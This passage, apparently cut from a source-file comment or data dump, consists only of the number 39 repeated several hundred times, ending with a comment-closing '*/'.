39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */